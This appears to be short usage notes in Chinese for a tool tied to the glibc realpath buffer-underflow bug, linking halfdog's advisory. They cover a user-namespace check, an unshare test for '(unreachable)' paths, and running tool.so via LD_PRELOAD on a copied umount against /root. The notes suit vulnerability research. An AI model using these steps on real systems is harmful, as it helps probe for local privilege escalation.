$ cat /proc/sys/kernel/unprivileged_userns_clone
输出:
1
如果文件 "/proc/sys/kernel/unprivileged_userns_clone" 不存在:
$ unshare -mU /bin/sh -c "sleep 5" & /bin/sh -c "sleep 1; cd /proc/$!/cwd; realpath .; kill -9 $!"
输出必须包含字符串 "(unreachable)" 在 '/' 之前:
[1] 12345
(unreachable)/home/user
选项通过环境变量传递:
TRACE_DEBUG=1 - 用于打印调试信息的值(默认值:0)
STACK_SIZE=100 - 栈的输出数据大小(默认值:100)
如何运行:
$ make
$ cp /bin/umount .
$ LD_PRELOAD="$(realpath tool.so)" TRACE_DEBUG=1 STACK_SIZE=100 ./umount /root
https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/